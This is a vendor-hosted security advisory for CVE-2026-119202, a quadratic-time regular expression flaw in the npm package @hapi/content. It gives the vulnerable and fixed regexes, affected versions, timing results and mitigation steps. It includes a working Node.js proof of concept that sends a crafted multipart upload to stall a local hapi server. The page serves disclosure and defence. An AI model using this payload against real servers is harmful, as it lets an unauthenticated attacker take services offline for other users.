Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
📦
📦 npm
Not in CISA KEV
HIGH severity

CVE-2026-119202 — @hapi/content

HIGHFix: hapijs/content@0993851

CVE-2026-119202 is a high-severity (CVSS 7.5) CWE-1333 vulnerability in @hapi/content. A fix is available for @hapi/content — see the affected versions and patch details below.

@hapi/content: quadratic-time parsing of Content-Disposition parameters allows denial of service

Also known asGHSA-8494-f6mr-cjpv
Published
Updated
Affected
2 pkgs
Patched
1 / 2
Exploits
None indexed
Exploitation data as of Oct 30, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

EPSS Exploitation Probability

via FIRST.org ↗
0.4%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs35th percentile — riskier than 35% of all scored CVEsHighest risk

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

CVE-2026-119202 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.

Where this sits among everything scored

Of 397,508 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.

Real-World Exposure

2 pkgs affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

11other npm packages depend on this — each one inherits the vulnerability until it's patched upstream
@hapi/contentnpm
1.9Mdownloads / week
contentnpm
86Kdownloads / week

Description

Summary

Content.disposition() takes quadratic time when a Content-Disposition parameter contains a long token without =. One unauthenticated multipart request can block the Node.js event loop for several minutes.

Details

Content.disposition() reads the parameters with a global regular expression in String.prototype.replace():

/([^\=\*\s]+)(\*)?\s*\=\s*(?:([^;'"\s]+\'[\w-]*\'[^;\s]+)|(?:\"([^"]*)\")|([^;\s]*))/g

The parameter name part ([^\=\*\s]+) has no anchor. When a run of name characters has no = after it, the match attempt reads the full run and fails. The global scan then starts again at the next character and reads the remaining run again. The total time is proportional to the square of the run length.

@hapi/pez calls Content.disposition() on the header of every part in a multipart/form-data body. In hapi, this occurs on each route with payload.multipart enabled, before the route handler and before any validation. The only size limit is the route payload.maxBytes, which is 1 MB by default.

The fix adds an alternative that matches the full run of name characters when no = follows it. The scan then continues after the run, and the callback ignores this match. A match attempt that starts later in the same run always fails in the same way, so the parse result does not change. The parse time is now linear.

/([^\=\*\s]+)(\*)?\s*\=\s*(?:([^;'"\s]+\'[\w-]*\'[^;\s]+)|(?:\"([^"]*)\")|([^;\s]*))|[^\=\*\s]+/g

Every release from 3.0.6 (published as content) up to and including @hapi/content 6.0.2 is affected.

Workarounds: none that removes the risk, upgrade required. To reduce the delay for each request until you upgrade, set a low payload.maxBytes on routes that accept multipart payloads. A token of 64 KB still blocks the process for more than 1 second.

Proof of concept

Install @hapi/hapi with @hapi/content 6.0.2, then run:

const Hapi = require('@hapi/hapi');
const Net = require('net');

const attack = (port, n) => new Promise((resolve) => {

    const body = `--x\r\nContent-Disposition: form-data; name="f"; ${'a'.repeat(n)}\r\n\r\nv\r\n--x--\r\n`;
    const req = `POST /upload HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Type: multipart/form-data; boundary=x\r\nContent-Length: ${Buffer.byteLength(body)}\r\nConnection: close\r\n\r\n${body}`;
    const start = process.hrtime.bigint();
    let res = '';
    const socket = Net.connect(port, '127.0.0.1', () => socket.write(req));
    socket.on('data', (chunk) => res += chunk);
    socket.on('close', () => resolve(`${n} byte token  HTTP ${res.split(' ')[1]}  ${(Number(process.hrtime.bigint() - start) / 1e9).toFixed(3)} s`));
});

(async () => {

    const server = Hapi.server({ host: '127.0.0.1', port: 7001 });
    server.route({
        method: 'POST',
        path: '/upload',
        options: {
            auth: false,
            payload: { multipart: { output: 'data' }, parse: true }
        },
        handler: () => ({ ok: true })
    });

    await server.start();
    for (const n of [32000, 64000, 128000]) {
        console.log(await attack(7001, n));
    }

    await server.stop();
})();

With @hapi/content 6.0.2, the time increases by approximately four for each doubling of the token. During each request, the server does not answer other clients:

32000 byte token  HTTP 200  0.424 s
64000 byte token  HTTP 200  1.670 s
128000 byte token  HTTP 200  7.173 s

The reporter measured 542 seconds for a token of 1,024,000 bytes, which is near the default payload.maxBytes.

With @hapi/content 6.0.3:

32000 byte token  HTTP 200  0.011 s
64000 byte token  HTTP 200  0.003 s
128000 byte token  HTTP 200  0.004 s
1024000 byte token  HTTP 200  0.013 s

Impact

This is a denial of service through slow regular expression processing. It affects every hapi server with a route that accepts multipart payloads, and every application that gives untrusted headers to Content.disposition(). An unauthenticated attacker sends one upload request of normal size, and the Node.js process stops answering all clients for seconds to minutes. A small number of these requests keeps the service unavailable.

Affected Packages

2 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦npm@hapi/contentall versions6.0.3npm install @hapi/content@6.0.3
📦npmcontent≥ 3.0.6No fix

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @hapi/content, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update @hapi/content to 6.0.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-119202 is resolved across your whole dependency graph.

  3. Workarounds

    Cap what an attacker can consume: apply request size, rate and timeout limits in front of the affected component, and run it with memory and CPU limits so exhaustion degrades one worker rather than the whole service.

Frequently Asked Questions

### Summary `Content.disposition()` takes quadratic time when a `Content-Disposition` parameter contains a long token without `=`. One unauthenticated multipart request can block the Node.js event loop for several minutes. ### Details `Content.disposition()` reads the parameters with a global regular expression in `String.prototype.replace()`: ```js /([^\=\*\s]+)(\*)?\s*\=\s*(?:([^;'"\s]+\'[\w-]*\'[^;\s]+)|(?:\"([^"]*)\")|([^;\s]*))/g ``` The parameter name part `([^\=\*\s]+)` has no anchor. When a run of name characters has no `=` after it, the match attempt reads the full run and fails.
O3 Security · Impact-Aware SCA

Is CVE-2026-119202 in your dependencies?

Find it across npm, including transitive dependencies.

CVE-2026-119202: @hapi/content DoS — Fixed in 6.0.3